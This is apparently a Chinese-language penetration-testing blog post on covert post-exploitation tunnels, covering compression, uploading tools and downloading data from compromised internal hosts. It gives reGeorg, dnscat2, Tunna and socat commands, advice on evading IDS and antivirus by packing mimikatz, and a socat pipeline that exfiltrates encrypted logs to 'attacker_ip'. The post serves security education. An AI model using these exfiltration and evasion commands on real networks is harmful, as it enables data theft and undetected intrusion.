内网后渗透攻击--隐藏通信隧道技术(压缩、上传,下载)

发布于:2025-08-20 ⋅ 阅读:(12) ⋅ 点赞:(0)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

在渗透测试中,上传,下载数据是一项重要工作,而压缩技术能够给下载、上传带来很好的便利

接下来先介绍一下这三个技术,以及相关工具

压缩、上传、下载是隧道技术的核心功能:

  • 压缩:减少传输数据量,降低流量特征的显著性,同时提高传输效率(尤其在内网带宽有限时);
  • 上传:向受控内网主机传输攻击工具、配置文件等;
  • 下载:从内网主机获取敏感数据(如账号密码、日志文件、数据库备份等)。

一、压缩:减少流量特征,提升传输效率

1. 核心原理

内网环境通常存在带宽限制或流量监控(如 IDS 对 “大量小数据包”“异常流量体积” 的告警),压缩的核心作用是:

  • 减小数据体积:通过算法降低传输数据的大小,减少数据包数量,降低被安全设备识别为 “异常流量” 的概率(例如:10MB 的工具压缩为 2MB,可减少 80% 的传输包);
  • 模糊流量特征:压缩后的数据呈现 “无序二进制” 特征,难以通过深度包检测(DPI)识别原始内容(如明文攻击指令、工具特征码),增强隐蔽性。
2. 常用压缩算法与场景
  • gzip/zlib:轻量级压缩算法,压缩率中等,速度快,适合小文件(如脚本、配置文件)或实时传输场景(如隧道指令交互);
  • lzma/7z:高压缩率算法,适合大文件(如数据库备份、日志文件),但压缩 / 解压耗时较长,需在 “隐蔽性” 和 “效率” 间权衡;
  • Base64 + 压缩:先压缩再用 Base64 编码(将二进制转为可打印字符),适配 “文本协议隧道”(如 DNS TXT 记录、HTTP 表单),避免二进制数据在文本协议中被过滤。
3. 工具中的压缩实现
  • 自带压缩功能的隧道工具
    • Chisel:反向 SOCKS 隧道工具,支持内置 gzip 压缩(启动时通过--compress参数开启),传输文件时自动压缩,适合 HTTP 隧道场景;
    • Tunna:HTTP 隧道工具,在上传 / 下载文件时默认启用 zlib 压缩,可通过-z参数强制压缩,尤其适合传输大文件(如 100MB 以上的数据包)。
  • 需配合外部工具的压缩
    • 若隧道工具无内置压缩,可先通过7z7z a -tzip tool.zip tool.exe)或gzipgzip -9 tool.sh)压缩文件,再通过隧道传输,受控端接收后解压(如7z x tool.zip);
    • 示例:将内网攻击工具mimikatz.exe用 7z 压缩为mimi.7z(体积从 1.5MB 降至 300KB),通过 DNS 隧道分段传输,降低流量暴露风险。

二、上传:向内网注入工具 / 配置,支撑后续攻击

1. 核心原理

内网后渗透中,需向受控主机上传攻击工具(如扫描器、提权脚本)、配置文件(如代理规则、隧道参数)等,上传的核心挑战是:

  • 绕过上传限制:内网防火墙可能限制 “非标准端口”“大文件”“特定后缀(如.exe、.sh)” 的上传;
  • 隐蔽传输:避免上传行为被日志记录(如 Web 服务器的access.log记录 “异常文件上传”)或被 DPI 识别为 “恶意工具特征”。
2. 上传实现方式
  • 分段传输:将大文件拆分为小块(如 1KB / 块),通过隧道协议的 “数据帧” 逐段传输,受控端接收后重组(避免单包过大触发告警);
  • 协议封装:将文件内容封装到 “合法协议字段” 中(如 HTTP 的POST Body、DNS 的子域名、ICMP 的data字段),伪装成正常业务流量;
  • 特征混淆:对上传文件进行 “加壳 / 加密 + 压缩”(如用 UPX 加壳mimikatz.exe,再压缩为mimi.upx.gz),避免被 AV/EDR 识别原始特征。
3. 工具中的上传应用
  • reGeorg + Proxifier
    先在受控 Web 服务器部署 reGeorg 脚本(如tunnel.php),本地通过 Proxifier 将浏览器 / 工具流量代理至隧道,再通过curl或浏览器向受控端上传文件:
    # 本地通过隧道向受控端(192.168.1.100)上传工具  
    proxychains curl -X POST http://192.168.1.100/tunnel.php -F "file=@tool.exe"  
    
  • dnscat2
    DNS 隧道工具,支持upload命令直接上传文件,且自动对文件进行 Base64 编码 + 压缩(适配 DNS 文本协议):
    # 控制端向受控端上传压缩后的配置文件  
    dnscat2> upload config.zip /tmp/config.zip  
    

  • socat + 压缩管道
    利用 socat 建立 TCP 隧道,结合 gzip 实现 “压缩 + 上传”,适合纯 TCP 隧道场景:
    # 本地压缩文件并通过socat隧道上传至受控端(192.168.1.100:8080)  
    gzip -c tool.sh | socat - TCP4:192.168.1.100:8080  
    # 受控端接收并解压  
    socat TCP4-LISTEN:8080 - | gunzip -c > tool.sh  

三、下载:从内网提取敏感数据,实现攻击目标

1. 核心原理

下载是内网后渗透的最终目标之一(如提取域控 hash、数据库数据、员工信息),核心挑战是:

  • 大文件传输:敏感数据常以大文件形式存在(如 10GB 的日志、2GB 的数据库备份),需解决 “断点续传”“分段校验” 问题;
  • 反溯源:避免下载行为被日志记录(如 “内网主机向外部 IP 传输大文件” 的告警),需隐藏下载源头与目的地。
2. 下载实现方式
  • 分段校验下载:将大文件按固定大小(如 1MB / 段)拆分,每段附加校验值(如 MD5),受控端逐段发送,控制端接收后校验重组(避免传输中断导致重传全部数据);
  • 反向下载:由受控端主动向控制端 “推送” 数据(而非控制端 “拉取”),规避 “外部 IP 主动向内网请求大文件” 的告警(如反向 HTTP POST、反向 DNS 查询);
  • 加密 + 压缩下载:先对敏感数据加密(如 AES-256),再压缩,最后通过隧道传输,确保即使被拦截也无法解密内容。
3. 工具中的下载应用
  • dnscat2
    支持download命令从受控端下载文件,自动处理分段与校验,适合小至中等文件(如 100MB 以内):
    # 从受控端/tmp/域控hash.txt下载文件到本地  
    dnscat2> download /tmp/hash.txt local_hash.txt  
    
  • Tunna
    专为文件传输优化的 HTTP 隧道工具,支持大文件断点续传,通过-f-download参数实现下载:
    # 本地通过Tunna隧道从受控Web服务器下载敏感日志  
    python tunna.py -u http://192.168.1.100/shell.php -l 8080 -f /var/log/sensitive.log -download  
    

  • socat + 加密压缩管道
    适合大文件(如 1GB 以上)下载,结合openssl加密和gzip压缩,示例:
    # 受控端:加密压缩日志文件并通过socat推送到控制端(attacker_ip:9000)  
    cat /var/log/nginx/access.log | gzip -c | openssl enc -aes-256-cbc -k password | socat - TCP4:attacker_ip:9000  
    # 控制端:接收并解密解压  
    socat TCP4-LISTEN:9000 - | openssl enc -d -aes-256-cbc -k password | gunzip -c > nginx_log.txt

下一篇文章再讲解相关工具,压缩有RAR、7-ZIP,上传有FTP协议,VBS,Debug,Nishang,下载有bitsadmin,PowerShell。


网站公告

今日签到

点亮在社区的每一天
去签到